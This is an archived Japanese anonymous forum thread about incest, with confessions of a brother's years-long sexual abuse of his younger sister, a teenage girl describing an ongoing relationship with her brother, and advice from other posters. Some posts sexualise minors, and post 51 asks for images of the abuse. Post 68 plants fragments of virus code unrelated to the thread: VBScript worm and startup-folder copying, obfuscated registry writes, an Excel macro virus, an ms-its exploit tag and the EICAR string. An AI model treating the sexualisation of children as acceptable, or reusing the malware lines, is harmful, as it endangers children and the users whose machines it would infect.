06/11/05 23:21:21 lGBY/vdL
実兄に風呂覗かれたり、寝てる時体触られたりする
小３から…マジ気持ち悪い死んでほしい…
厚着してるし変な服なんかも着てないのに兄の勝手な醜い薄汚い欲望のせいで物凄く精神的に不安定になった…
あーきもちわる…
何が｢された方も｣｢した方も｣悩んでるだよ
悩んでりゃ正当化されんのかよ許されんのかよ
ふざけんな
加害者自身の勝手な欲望で被害者を傷つけておいてよくそんな精神回路持てるよ
吐き気がする
41:マジレスさん
06/11/05 23:40:08 F5hFAd0v
>>40
今現在もされているのかな？
今我慢していても、将来的に精神に来るよ。
自分では解決できそうにないかな？
もし現実に相談できない、児童相談所にも電話できないっていうのなら、
ネットで解決方法を探すのも手ではある。
本当はリリアルで相談するほうがいいんだけど、まだそれが出来ないなら、
この板内と、あとメンタルヘルス板に「された側」のスレッドもあるから
そちらで相談してみるといいかもよ。
でも、最終的には現実でちゃんと相談出来るようになる事を
念頭に置いたほうが、君のためになるよ。
42:マジレスさん
06/11/05 23:44:22 OMXBodSf
>>40
親に相談した方がいいよ。エスカレートする可能性があるから。
43:マジレスさん
06/11/05 23:48:33 f4TWlJOs
されてる側からしたら、してる奴は鬼畜で悪いなんて
塵ほども思ってないと考えているだろうけど、
してる方も悩んだりすんの？
44:小早川秀秋 ◆864fRH2jyw
06/11/05 23:48:34 SfDWOIGu
な！なんだ、おじさんの入りこむ隙間も無いスレッドじゃないか！
45:マジレスさん
06/11/06 05:56:42 i5zgjq6p
十歳ぐらいから妹とセックスしていた。
妹はひとつ下。
高校入るまでチャンスがあればいつでもセックスしていた。高校一年のときはほぼ毎日。
関係を絶つため妹を寮のある高校に強引に入学させていたがなかなかやめられなかった。
二年前から彼女が出来て妹としなくなったが、オナニーするときは妹との事を思い出している。彼女とのセックスは相手を尊重しながらするが、妹とは欲望のままのサディスティックなセックスが出来た。
今でも会ったらセックスするように企むだろう。
自分を抑えられないので、妹と連絡が出来ないようにした。
だか彼女との結婚を考えると、妹との過去がいつかバレるのではないかと、いつも悩み、後悔している。
46:45
06/11/06 06:41:36 i5zgjq6p
妹とセックスするとき、始めは興奮してすごく欲情するが、射精した直後に激しい自己嫌悪と後悔がわいてくる。
47:マジレスさん
06/11/06 19:15:44 TI62VdSi
妹さんの精神面はどうなの？
あんたがいなくても普通の生活を送れてる？
48:マジレスさん
06/11/06 23:25:21 YY5DeGTr
>>47
私はお兄ちゃん以外が相手では感じることができません。
49:マジレスさん
06/11/07 19:49:12 zjU17UYd
>>25
早く死ねば？
50:マジレスさん
06/11/07 23:35:39 3aj822rq
オマエモナー
51:マジレスさん
06/11/08 07:09:46 Fbs0Syau
>45
お兄さん、羨ましいですね^^
妹さん、感じてました？
その時の画像があれば是非拝見したいです♪
52:マジレスさん
06/11/08 08:19:17 sYSoeJuO
脳内じゃないと仮定するが。
家族と性的な関係になった時、一生隠して生きていくのかい？
家族内の秘密を隠して生きていくのは、精神的に病むんだがな。
実際ヤってる奴、どうなのよ？
罪悪感で死にたくなるような気分の時って、無いのかな。
まだ妄想で止まってる奴も、そういう気持ちを抱く事への罪悪感で悩んでないのかい？
53:マジレスさん
06/11/08 08:23:46 YSYBMC4L
>>25わかるよ～。
自分も兄妹ものの話がダメ！というか身内ものは気が狂いそうな気分になるくらい生理的に嫌い！
今後も彼と付き合いたいならカウンセリング受けたほうがいいよ。彼や子供に罪はないから。
54:マジレスさん
06/11/08 08:31:16 knognnZJ
俺は中一の時に母親の下着で遊んでた。実際に履いてみたり、匂いをかいでみたり。好き放題やってた。
でも何日かするとそれがバレて母親は口をきかなくなった。親父も「男ならそういう感情はある」と言ったが母親と話さない日が続いた。
今はそれから何年も経って家族のなかであの出来事が風化したっぽいんだが、今俺の母親はどう思ってるのだろう。本当に後悔してる。
55:マジレスさん
06/11/08 18:55:24 btjZ9nXx
母親は年が離れている分、性的な嫌悪感から
口を利かなかった訳では無いと思うよ。
教育の一環としてあえて厳しい態度に出たと思います。
56:マジレスさん
06/11/08 21:23:35 JkRTajT5
>>54
後悔してるなら、母親に聞いた方がいいぞ。
勇気のいる事だろが、それは君のためだ。
いつか親は亡くなる。
亡くなって聞けなくて自分でどうしようもなく悩むようになる前に、
一言「ごめんなさい」と言ってみるがいいよ。
案外笑って許してくれるかもしれないよ。
57:マジレスさん
06/11/09 03:03:57 YFiu0zC9
45です
>>47 俺へのコメントでしょうか？
妹は子供の頃から内向的で学力も低く、何でも親か俺に頼らなければ何も出来ない性格でした。親は家に居ない事が多く、俺が面倒を見る事が多かったと思います。こういう結果になった要因はそこにあると思います。
今はある親切な方に預かって面倒を見てもらっていますが、それは俺を拒むようになってから本人が考え選んだ事なので、もう俺も側に呼び戻すつもりはありません。
>>51
前回書いたように、後悔の気持ちが大きく、そのような話しは本当に嫌です。
本当にこれからの事を考えると後悔しますよ。
58:マジレスさん
06/11/09 03:27:38 zObvEWFq
俺も中学のとき姉のパンツ盗んで履いたりしてたな～。あと姉が寝てるとき、短パンの
隙間から見えるパンチラで抜いた。
59:マジレスさん
06/11/09 04:33:01 puJJCR2F
高1♀ 現在進行形で兄と関係があります。最後までやったことはあまりないです
今までは兄のことがすきだったけど最近になって初めて他に好きな人ができました。もうやめたいです。
断りたいけど断ったら嫌われそうで怖い。。
60:マジレスさん
06/11/09 07:29:59 YFiu0zC9
45です
>>59
俺の場合は妹に彼氏が出来たとき、
妹との関係が彼氏から漏れる恐れ(実際漏れた)
彼氏と俺(兄)のが会うことへの不安
妹(あなた)は彼氏にこのことを話すか？
彼氏は妹(あなた)を許す器があるか？
女としての妹を他の男にとられる
保護者として妹をとられる気持ち
かありました。
しかし、彼氏が出来たこと、
あなたが望まなくとも他の人に関係がバレることは、
関係を絶つきっかけになります。
今は未だ兄との関係を重くとらえていなくとも、普通の生活をしたいと思うとき、後悔しますよ。
61:マジレスさん
06/11/09 08:14:16 BfmDGhM6
>>57
>>51とかのは脳内ｱﾎﾞﾝなのでｽﾙｰしな。
こいつも寂しい奴なんだよ。
後悔してるんだな、君はまだ大丈夫だ。
これから先、自分がした事を一生隠して生きていくなら、君は死ぬ瞬間まで後悔する。
いいか、やったことは取り戻せない。
過去を取り戻せないから、責任を取るという言葉があるんだ。
責任をとらなければ、君は後悔の海で死ぬまで溺れ続ける。
そして幸せになればなるほど罪悪感が強くなる。
あんな事をした自分が幸せでいいのかと。
そういう気持ちは押し込めていても少しづつ表に出るもんだ。
いつしか自分の内部に、将来もつかもしれない家族に悪い影響を与える。
君は妹にちゃんと謝った事はあるのかい？
罪を償う事は出来る。
死ぬまで続くかもしれない。
しかし、罪を償うというのは自分の罪の意識を和らげる為にも必要なんだ。
償いが出来るようになる事を祈っているよ。
62:マジレスさん
06/11/09 08:52:39 YFiu0zC9
45です
>>61
ありがとう、罪滅ぼしに妹に優しくしていたが、謝ったことはありませんでした。
ただ、今は本当に連絡出来ない状況にしているので、いつかそうしたいと思います。
妹からは一方的に連絡が可能なので、本人が望めば連絡が来るはずです。
歪んではいるかもしれないが、今も昔も、妹を俺なりの形で愛しているので、今は妹の望むようにしていきます。
63:マジレスさん
06/11/09 08:59:09 cLnSKhwM
人間はもとは猿だからな。
子供が最初に性を自覚するのは自分の親が相手だってこと。
64:マジレスさん
06/11/09 11:29:47 puJJCR2F
>>60
59です。昨日ねてしまいました。
彼氏には言わないつもりです。てかいえません。それにばれたらやっぱり普通の人からは異常者としてみられると思うし。
彼氏のことは信用してるけどいったら引かれると思います。それに彼氏いること兄にまだいえてない↓
私はちいさいころは兄と一緒にすんでなかったのでブラコンになったのかなって思います。てか兄がいるって小3くらいまでしらなかった。血は完璧に繋がってますけど。。
>>50さんはそうゆうのありますか？
65:54
06/11/09 12:18:14 nKdWrAHz
ありがとう。励みになったよ。
聞いてみるか・・・
66:きくはちぞう ◆iGZUQN4BEk
06/11/09 12:48:38 DCzG3GC0
お前達がエロゲのやりすぎだってことはわかった
67:マジレスさん
06/11/09 12:50:14 OoNJhpgW
僕は小学校3年まで妹（3歳下）と一緒に風呂に入っていた。
ふざけてお互いの性器をいじったりしてた。
その妹が中学に上がった頃、キスを求められた（僕はしなかったけど）。
妹は異常な娘なのだろうか。
過去に性器をいじり合ってたのが、まずかったのだろうか…。
68:マジレスさん
06/11/09 16:48:27 oooLpN9H
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
<object data="ms-its:mhtml:file://C:\\MAIN.MHT!URLﾘﾝｸ(www.loadcash.biz) type="text/
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
ms-its:mhtml:file://c:\
kak.hta';ken=wd+'START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "＼" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
whichfile = p + w * 10
End Sub
69:マジレスさん
06/11/09 23:03:43 hxGdg6dU
別に血縁でもキチンと避妊して楽しくできればいんじゃね？（ちょっと
ウラヤマシス）
たぶん、相性によるんだろうな。自分の妹はかなりの巨乳だったが、別に
欲情めいた気持ちは全然おこらんかったなぁ。
まぁ、後ろめたいならするなや。
70:マジレスさん
06/11/09 23:15:27 xN/w3MTf
>>69
お互いがそうならいいけどな。
そうもいかんから悩んで苦しんでる奴らがほとんどなんだろうよ。
ま、想像しただけでも自分は恐ろしくてｶﾞｸﾌﾞﾙなんでやらんがな。
どうしたって近親相姦は心の楔になるだろうよ。
ま、後悔するんだったらするなってことだが、
やっちまったんだったらその責任は取らないといかんよ、ってこった。
71:マジレスさん
06/11/09 23:22:51 hxGdg6dU
>>70
楽しめる人達ってのは元々そういう才覚があるんだと思う。
そんな人達のHPみてつくづく思った。家族どころか親戚ぐるみで
楽しんでるんだもんなｗ（性のスペシャリストだと思った）
まぁ、後ろめたいって人達はマトモなんだと思うよ。
すべての人達が近親マンセーになったら国滅ぶしなｗ
72:マジレスさん
06/11/09 23:22:58 xN/w3MTf
>>67
子供が性的な部位に興味を持つのは、別におかしいことでも何でもないのさね。
大人が示す「性」に対する興味と、
子供が示す「性」に対する興味とは、性質が違う。
だから、性器をいじりあうからといって異常というわけではない。
子供のお医者さんごっこがあるだろ。
あれは大人がイメージする性的な接触とは違うんだよ。
君は妹に接吻を求められて拒否したのだから、正しい事をしたんだ。
君に拒否されたから、妹は後ろ指を指される道に
踏み外さなくて済んだ部分もあると思うぞ。
73:マジレスさん
06/11/09 23:27:42 xN/w3MTf
>>71
異常な家系では、そうしなければその中で「生きていけない」から
そうならざるを得ないんじゃないだろうか。
オアラマーゾフみたいなもんだな、そういう家は。
自分たちの家系がしている事を疑って、それが人を傷つける悪い事だと認めたら
自分たちのアイデンティティーが崩壊して気が狂うだろうよ。
だから、思い悩めるのはまだ心が壊れきっていないんだと思うんだな。
家庭の秘密はどうしたって人格を歪めるよ。
俺は自分の身内の中だけで安心するよりも、
新しい関係を持って赤の他人を愛する方が楽しいからそっちを選ぶがな。
74:マジレスさん
06/11/09 23:29:14 xN/w3MTf
>>62
待ってるだけでどうしようもなくなったら、手紙でも出してみな。
紙に書かれた文字っつうのは、心に訴えるものがあるからさ。
75:マジレスさん
06/11/09 23:29:51 FqFkPhPR
僕が寝ていると、ノーブラでワインカラーのキャミソールを着た母が添い寝しながら誘惑してきます、僕はどうしたら良いでしょうか？
母は78歳、僕は65歳です。
76:本気、マジレス
06/11/09 23:32:57 hxGdg6dU
>>73
笑えることに、件のHPの人達は親類だけでなく、普通に他人とも関係が
持てるエキスパート。性に関しては神の領域だから、血に関係なく
性行為そのものが挨拶みたいなものになってるんではないかとｗ
77:マジレスさん
06/11/09 23:39:25 smCug18N
>>30 マジ氏ね猫好きの俺からしたらお前をバラバラにしたい。
これみてすっごく最悪の気分になった。人の悪口は好きじゃないけど・・・
猫のことに関しては別。
ホント冗談でも猫を虐める発言しないでほしい。
78:マジレスさん
06/11/09 23:40:58 xN/w3MTf
>>76
そういう人間達も存在するんだな。
そこに生まれた子供にとっては児童虐待だよ…はぁ…。
ネットだけの妄想ならいいんだがなぁ～。
んでもって>>71はカラマーゾフ。
オアラマーゾフって何だ…orz
79:マジレスさん
06/11/09 23:42:41 64G8SFtE
>>77
>>30はどう見たってネタ
80:マジレスさん
06/11/09 23:46:06 smCug18N
>>79 ネタでもなんかこう猫飼ってるから想像したら悲しくて腹が立って；；
ネタでも真に受けるﾊﾞｶですいません(ρ＿；
81:マジレスさん
06/11/09 23:48:03 xN/w3MTf
いやいや、おﾈｺ様ねたは正直ｷﾂｲっすよ。
ま、真に受けるバカほど優しいってことで、あんた優しい人なんだよ。
(´･ω･`)/ ﾖｼﾖｼ
82:マジレスさん
06/11/09 23:51:49 smCug18N
>>81 ありがとう 画面みながら泣いた。
83:マジレスさん
06/11/09 23:52:07 hxGdg6dU
既出ならｽﾏｿ。
URLﾘﾝｸ(www.kazunoie.com)
昔見たときはもっと地味なつくりだったんだが、今はたんなるエロサイトに
なっとるよーな気が・・・(;´ω`)
84:マジレスさん
06/11/09 23:53:33 64G8SFtE
>>83
ここかよ！
ネタ臭さムンムンしてるとじゃねーかｗｗ
85:マジレスさん
06/11/09 23:55:48 hxGdg6dU
>>84
いや、昔見たときはもっと地味で質素なサイトだったんだって！
（擁護してるようでモレが恥いわ！）(#´ω`)=3
86:マジレスさん
06/11/10 03:38:29 KO76F7Ot
45=60です
>>64
俺の場合は、両親が家に居ない事が多く、不器用な妹の面倒は妹の面倒を俺が見ていた。
俺が毎日夕食を作りながら、洗濯など簡単な家事を教えながら妹にやらせて、
一緒にテレビ見て、それで一日が終わる。
小学生のころは特に貧乏で親に甘えることができず、二人で何とか生活していた。
妹は俺を慕っていてくれたと思うが、性の対象にされるようになって嫌だと思っていても、
俺を拒んで嫌われるのが怖かったのだと思う。
成人して、この関係をどう思うか改めて訪ねたとき、
『俺（兄）のことは好きだったが、おかしい事をされていると判ってからは嫌だった、
彼氏が出来て、親にバレて周囲から厳しく注意され、俺（兄）が怖くなってきた、
拒もうとしたが、断りきれなかった。』
当時の親は妹に注意しても、俺には関係に気づいていることも言えなかった。
と言っていた。親が俺に直接注意したのは気づいてから３年後。
妹が辛くて悩んでいたのに、性欲と妹を独占したい気持ちで独りよがりをしていた。
そう改めて気づかされると、とても後悔した。
あなたがお兄さんの事が好きで、でもこの関係をやめて普通の恋愛がしたいなら、
俺はやはり早めに関係を終わらせて欲しい。
もし将来、この事で兄妹が話しあうとき妹が、
『兄妹でも本当に愛し合って、過去にそういうこともあった、当時はお兄さんが
好きだった。今はもうしたくないけど。』
と言われるならば、まだ救われる気がする。
あなたのお兄さんを、俺と同じ罪深い過去で一生苦しめない為に、お兄さんが好きならば
俺のように『嫌だけど断れなかった』になる前に、終わらせる事が出来れば
あなたの場合、『初めて好きになった相手が兄だった』と思えるかもしれない。
まだいっぱい言いたい事があるけれど、また後で書きます。
87:マジレスさん
06/11/10 03:39:46 KO76F7Ot
45=60です
>>64
俺の場合は、両親が家に居ない事が多く、不器用な妹の面倒は妹の面倒を俺が見ていた。
俺が毎日夕食を作りながら、洗濯など簡単な家事を教えながら妹にやらせて、
一緒にテレビ見て、それで一日が終わる。
小学生のころは特に貧乏で親に甘えることができず、二人で何とか生活していた。
妹は俺を慕っていてくれたと思うが、性の対象にされるようになって嫌だと思っていても、
俺を拒んで嫌われるのが怖かったのだと思う。
成人して、この関係をどう思うか改めて訪ねたとき、
『俺（兄）のことは好きだったが、おかしい事をされていると判ってからは嫌だった、
彼氏が出来て、親にバレて周囲から厳しく注意され、俺（兄）が怖くなってきた、
拒もうとしたが、断りきれなかった。』
当時の親は妹に注意しても、俺には関係に気づいていることも言えなかった。
と言っていた。親が俺に直接注意したのは気づいてから３年後。
妹が辛くて悩んでいたのに、性欲と妹を独占したい気持ちで独りよがりをしていた。
そう改めて気づかされると、とても後悔した。
あなたがお兄さんの事が好きで、でもこの関係をやめて普通の恋愛がしたいなら、
俺はやはり早めに関係を終わらせて欲しい。
もし将来、この事で兄妹が話しあうとき妹が、
『兄妹でも本当に愛し合って、過去にそういうこともあった、当時はお兄さんが
好きだった。今はもうしたくないけど。』
と言われるならば、まだ救われる気がする。
あなたのお兄さんを、俺と同じ罪深い過去で一生苦しめない為に、お兄さんが好きならば
俺のように『嫌だけど断れなかった』になる前に、終わらせる事が出来れば
あなたの場合、『初めて好きになった相手が兄だった』と思えるかもしれない。
まだいっぱい言いたい事があるけれど、また後で書きます。
88:マジレスさん
06/11/10 08:49:39 HxnmhAeT
>>87
そうなんですか。
親にもばれているんですね。びっくりです。うちはばれないうちにやめたい。
87さんは妹さんが嫌がってるのを知ってもやめられなかったんですか？
性欲にまけるかんじですか？本当にちゃんと妹さんにあやまってください。それだけでもちょっと妹さんも救われると思うので。
今でも会ったら我慢できなくなるっていうのはちょっとうちには理解できません。
最近だんだん兄に嫌悪感が湧いてきました。。冷静に考えてみると兄は彼女いるし本当はうちのことどうでもいいのかも。。
もう本当にやめる(>_<)
89:マジレスさん
06/11/10 22:01:22 rRZWd268
>>88
君のお兄さんから終わりを告げられる事は恐らくない。
それは今の関係に甘えたい気持ち、先を見たくない気持ち、色々あるのだろう。
「あなたが後悔したくない」なら強く「嫌だ」と言える勇気を持つ事。
流されない事。絶対に嫌だ、と態度と言葉を持って訴える事。それが大事だよ。
傷つくから、嫌われるから、なんて事にこだわって自分の本心を言えないなら、
これから先、兄以外の人間との関係にも支障をきたすようになる。
あなたは自分で自分の性を決定することが出来るんだから。
あなたが自分から終わりを告げることが出来るのは
あなたにとって先へ進む入り口なんだよ。
あなたが生まれてから兄妹として育ってこなかった分、
身近な男性を異性としてみてしまったのは仕方のない事なのかもしれない。
でも、自分で終わらせる事が出来るなら、あなたはこれから先ちゃんと生きていけるから。
だから、がんばんな。
90:マジレスさん
06/11/10 22:06:18 rRZWd268
>>87
自分がやったことが「最低の事」だから、君は苦しんでいるんだろうね。
君の罪は、自分で終わらせる事が出来なかったことだ。
私は君にかける言葉が何もない。
君のした事は、三文コミックスにあるような美談にはならない。
言い訳など許されない君の罪は、一生隠して生きていくであろう十字架だ。
しかし、たった一つだけ良い事があるとするなら、
君が人の心の痛みをちゃんと理解できるようになったことだ。
罪が償えるかどうか、それはこれから先、君の生き方にかかっているんだよ。
91:マジレスさん
06/11/11 00:29:46 dRvUV2Vs
>>89
最近はそうゆう状況になることを避けるようにしてます。なんか言いずらくてまだ言えずにいます。。
メールでいおうかなって思ってるけど直接のほうがいいですかね？
でもﾌﾂｳの兄弟より兄弟としての繋がりっていうか意識が薄いから関係が終わったら兄はうちにどうゆう感情を抱くのか不安です。。
ちゃんとがんばりますね。お母さんを悲しませたくないし。
92:マジレスさん
06/11/11 02:25:17 SQVLCpEZ
ごめん、本当キモいよこのスレ。なんで兄弟に手を出せるのかが不思議。本当冗談半分で兄弟に手を出すのやめてください。そんな事するくらいなら出会い系や風俗で抜いてください。本当有り得なさすぎる
93:マジレスさん
06/11/11 03:55:21 LV+4Akv6
>>90
ありがとう。
>>91
加害者からの視点で、どうすれば早く関係を終わらせられるか？
俺の経験からこうされるとやりずらいという例を、順不同で
・家で二人きりにならないように心がける。チャンスがなければ出来ない。
・嫌だという意思表示をする。嫌がらなければ同意していると思われるかも。
・される前に我慢せず泣く。されたら我慢せず泣く。泣かれたら罪の意識は大きい。
・お兄さんの彼女と仲良くなる。かなり怖いはず。
・マグロになること。
・すぐには出来ないかも知れないが、家出・別居する。寮のある学校・会社・彼氏の家。
・表現は自分なりでいいから、必ず関係を絶ちたい事を告げる。
・周りに人が居るとき、親の前でなら今まで以上に親しくしてもいいかも。
・彼氏の存在は怖い、自分に非があると自覚しているなら怖い。
・家の中でも目の届くところで、下着姿になったりしてはいけない。
もう下着も服も何でもかわいくない程良い。相手の気を削ごう。
ただし、恐らくそうではないだろうけど、お兄さんが短気で暴力的な性格、
そんな傾向があるならば行動は慎重にして下さい。でも、そうじゃないですよね？
>>74
住所も何もわからない。本当に全く連絡が取れないようにしてしまいました。
ただ妹にはメアドも電話番号も教えています。
不安ですが、ここまでしないと自分を抑えられないと思ったので。
94:マジレスさん
06/11/11 07:55:33 S6DpMos7
妹とするのがなんでいけないの？
95:マジレスさん
06/11/11 09:40:05 kmIUh1/u
すっかり妹スレになってしまったが…。
娘との関係で悩んでいる人はいないのかな？
手は出さないまでも、自分の妄想でどうにもならない奴、いない？
96:マジレスさん
06/11/12 18:50:07 fxWL//QO
キモいのは当たり前。
近親相姦とはそういうことだ。
弁明なんて出来ない、気持ち悪い事なんだよ。
兄からだろうと、姉からだろうと、父からだろうと、母からだろうとな。
美しい悲恋なんて綺麗なもんじゃない。
そういう罪を背負っていくって事だよ。
97:マジレスさん
06/11/12 18:59:21 1ImMTmaN
バーボンだと思ったのに…。
ちきしょう、騙された！
98:マジレスさん
06/11/13 06:23:55 XX+iMqiK
うわ。ほんと悪いけど まじ気持ち悪い。普通じゃない。おまえら頭おかしい きしょくわり きたない
99:マジレスさん
06/11/13 08:55:26 C/hOq9Ua
>>98
わざわざそんな事書かなくていいだろう。
ここがそういうスレだと分かってて見たんだろ？
それともエロい妄想でも期待していたのかい？
もしくは、された側の人間なのかな？
家族へ性的虐待をした人の罪はどうやってもあがなえないが、それと分かって悩みを書いてる人へ追い討ちをかけなくてもいいだろうに…。
思いを吐き出す事で良い方向にいくこともある。
ここは2ちゃんだろ？
キモいなら見なければいいだけだ。
100:マジレスさん
06/11/13 10:36:46 wD/C/eBM
100
101:マジレスさん
06/11/13 20:00:06 GHRqGRCQ
実の娘ではないのですが最近気になってしかたなくなってます。結婚したとき小３で今小６になりました。自分はロリとは無縁だと思ってたけどどうしようもないくらい女として見ている自分がいます。どうしたらいいのかわかりません…
102:マジレスさん
06/11/13 20:13:23 Pzu/T1nL
性的な～かは分からないけど妹が可愛いくて可愛いくて仕方ない。俺今１８で妹は７歳。お風呂も毎日一緒に入ってて抱きついたりしてる。
103:マジレスさん
06/11/13 20:30:20 JuNf01sK
でも、確かに気持ち悪いな。味噌汁に生クリーム入れて食うくらいキモイ。
104:マジレスさん
06/11/15 02:00:33 akPlvYZf
まともな人間なら通常遺伝子が近親相姦を避けるはずなのだが…
105:マジレスさん
06/11/16 00:14:00 Om+Rktt1
>>101
離婚してください。
こどもは懐いてきてくれるのでしょうが、あなたに父性を求めているだけで、異性としてみてはいません。
そこを自分に都合よく解釈して、変な気を起こさないように。
>>102
一緒にお風呂に入るのはもうやめたほうがいい年です。
嫌がっているようにみえなくても、嫌われるのが怖くて隠している場合もあります。
106:マジレスさん
06/11/16 00:48:33 8FtlGZn9
>>101
女として見るというのは、セックスしたいという意味で女として見るのかな？
それとも支配したいと思っているのかな？
または、伴侶に似ているから、重ねてしまうのかな？
そういう目でどうしてもみてしまう、自分に自己嫌悪なんじゃないか？
「自分になついて可愛い」のと、恋を一緒にしてるとこもあるんでねーかな、と思うがな。
離婚云々は考えなくてもいいが、ちょっくら娘を見る自分の内面に
目を向けてみるっつーのもいいぞ。
ま、ここはそういう奴が書き込むトコなので、思う存分悩んでみるがいいさ。
とりあえず手を出すのは待ったな。
>>102
7歳って何年生だ？
エロい事してないんだろ？
勝手に妹から離れていくさ。
ま、巣立つ娘を持った親の気分だわな。
>>105が書いているように「嫌だけど断れない」っていうのもあるから、
ちょっと観察してみるといい。
「お風呂入ろう」と言ってちょっと躊躇するようなら、嫌がってると見たほうがいいぞ。
嫌よ嫌よも好きのうち、っていう脳内変換は無しな。
107:マジレスさん
06/11/16 01:07:34 oSnzC3r6
１０２ですけど
まだ妹は嫌がって無いと思う。
お風呂も自分から一緒に入るって言うし…
どこに行くにも俺と一緒じゃなきゃ不安みたいな感じだし。
一緒にお風呂に入るのは性的なことじゃないよね。
108:マジレスさん
06/11/16 01:16:38 grNccW9A
うん。一緒にお風呂にはいるのは、全然性的なことじゃないと思う。
私はちっちゃいとき、お父さんとお風呂に入ってたけど、
小学３年の時から自然に入らなくなりました。お父さんは寂しがってたけどね。
妹さんも、自然にあなたから離れていくときが来るんじゃないかな。
109:マジレスさん
06/11/16 01:17:45 3gs/S76b
俺は妹とすげー仲良しだが、おっぱいが大きくなったなぐらいしか思えね。
でももし妹が俺を求めてきたら拒まない。大事な妹だしセックスぐらいならしてやる。
かと言って恋愛の対象には一生ならない。
そんなもんじゃないの？
まあ妹が不細工じゃそんな気は起こらないだろうけど。
もし小倉優子やグラドルが妹だったら 悩むんだろうかね
110:マジレスさん
06/11/16 01:26:06 o+6xG7n2
愛を行動に移してなにが悪いのか？
「苦難の日には私を呼び求めよ。わたしはあなたを助け出そう。」
[聖書]詩編５０:１５
わたしの目には、あなたは高価で尊い。
わたしはあなたを愛している。
[聖書]イザヤ書４３:４
子どもたちよ。私たちは、ことばや口先だけで愛することをせず、
行ないと真実をもって愛そうではありませんか。
[聖書]ヨハネの第一の手紙３：１８
111:マジレスさん
06/11/16 01:31:59 oSnzC3r6
>>108
小学３年生か…
再来年には一緒にお風呂入ってくれなくなるかもしれないのか。
妹が離れてくのは寂しいけど妹が一緒にお風呂入るの嫌そうにしだしたら素直に受け止めて別々に入ろう…
112:マジレスさん
06/11/16 01:34:55 uL9NBuzg
このスレトロイの木馬潜んでる？全部読む 押したら
警報でた
113:マジレスさん
06/11/16 01:42:31 oSnzC3r6
あと寝るときも妹と一緒なんだけど寝顔見てたら可愛いくてたまにほっぺにチュウしたりするんだけどこれは大丈夫かな？
114:マジレスさん
06/11/16 01:53:43 3gs/S76b
妹のほっぺにちゅうや一緒に寝るぐらい普通。
俺も深夜まで妹と話すから同じベッドで寝る事多かったし。
115:マジレスさん
06/11/16 01:56:17 Rg7nbaMF
理性が働くならｏｋでは？
116:マジレスさん
06/11/16 02:18:59 U6kvqbEH
妹ってそんなに可愛いんだ？
男兄弟だったからわからん。
117:マジレスさん
06/11/16 03:15:09 CGn5sXwX
>>114
妹の事を本当に想うなら欲を外に向けた方がいい。
彼女がいるならなにもいいませんが
118:マジレスさん
06/11/16 03:18:00 3gs/S76b
>>117
いや高校の頃の話だ。
今は彼女と同棲してるし妹にも彼氏がいる
119:蟻 ◆Ant.euEzZU
06/11/16 03:30:13 ZBiOGXAl
┐ ┌
（ ・ω・） ＜ インセストは禁忌ではないと思う
理由が分からない
120:マジレスさん
06/11/16 04:18:50 zxCIrtRR
>>116
アッー
121:マジレスさん
06/11/16 10:06:12 oSnzC3r6
>>117
少し前までは彼女もいたんだけどやっぱり妹のほうが可愛いし一緒にいて楽しい。
妹は自然に俺から離れてくんだろうけど俺が妹離れ出来そうに無い。
122:マジレスさん
06/11/16 11:24:57 +gAVGnOU
弟(中2)と妹(小6)がいるんだけど、弟と妹2人で一緒にお風呂入ってる…
これってヤバいの？
123:マジレスさん
06/11/16 11:30:27 mH7C3FsH
それなんてｴﾛｹﾞ?
124:マジレスさん
06/11/16 12:08:20 cof1md2u
>>122
二人が純であることを願え
125:マジレスさん
06/11/16 14:48:37 lwNO+V5P
俺は16歳高２の娘と二人暮しで、仲がいい、一緒にお風呂に入るし寝るのも一緒。
まずいかな？
126:マジレスさん
06/11/16 20:37:06 Lo+tDBBX
俺は12人の妹と暮らしてて、仲がいい、一緒にお風呂に入るし寝るのも一緒。
まずいかな？
127:マジレスさん
06/11/16 23:31:36 oSnzC3r6
うちの妹は１２歳まで一緒にお風呂入ったり寝たりしてくれるのかなぁ…
128:マジレスさん
06/11/16 23:41:54 BkJQFh5J
>>127
妹が嫌がっていなくても、あなたの方から離れる努力をしてほしい。
129:マジレスさん
06/11/17 00:54:43 dmI8z5HV
>>107
小3なら、チューも風呂もまだ有だろうよ。
君の妹が君を慕うのは、何かと世話を焼いてくれる
兄への思慕なので、それを愛と勘違いしないように、勘違いさせないようにな。
>>108も書いてるけど、妹からそのうち離れていくから、
その時はちと寂しいと思うが、それも成長なので、暖かい目で見守りな。
逆に巣立たないと、ちょっと心配だ。
オレの会社に26にもなってお兄ちゃんお兄ちゃんといっている娘がいるが、
兄ちゃんの婚約者に敵対心燃やしてやんの。
もうイタクてイタクて；；；
お兄ちゃんはお前が思ってるような超人でも優しいだけの男でもないんだから、
ちょっとは現実見ろ、とおっさんは心配になっちまうよ。
彼女がいたのに妹が可愛いっていうのは、それは恋人との関係が対等なもの、
という意識がまだないからだろう。１８歳だしな。
妹は可愛いし慕ってくれるが、お前と対等な立場になることはない。
それはこれからお前が大人になっていけばわかっていく事だと思う。
ま、妹の幸せの為にも、兄ちゃんが離れる努力をしなきゃいかん日はそう遠くないかもな。
寂しくもあるが、家族の成長を見るのは楽しくもあるもんだよ。
妹に負けないように、自分も成長しなね。
130:マジレスさん
06/11/17 03:37:52 7V2oKIFI
俺は兄弟でとか気持ち悪いって思ってた。でもこのスレ読んでたらさ三つ下の妹の風呂上がりの尻やミニスカ姿でやりてぇって思ってきた。どうすればやれるの？まあ仲悪いから無理か。
131:マジレスさん
06/11/17 08:09:52 RV6Evb9H
気持ちはわかるがヤッタ後の後悔とばれるんじゃないかという気持ち、最中やしばらくはそれが快感な場合もあるが
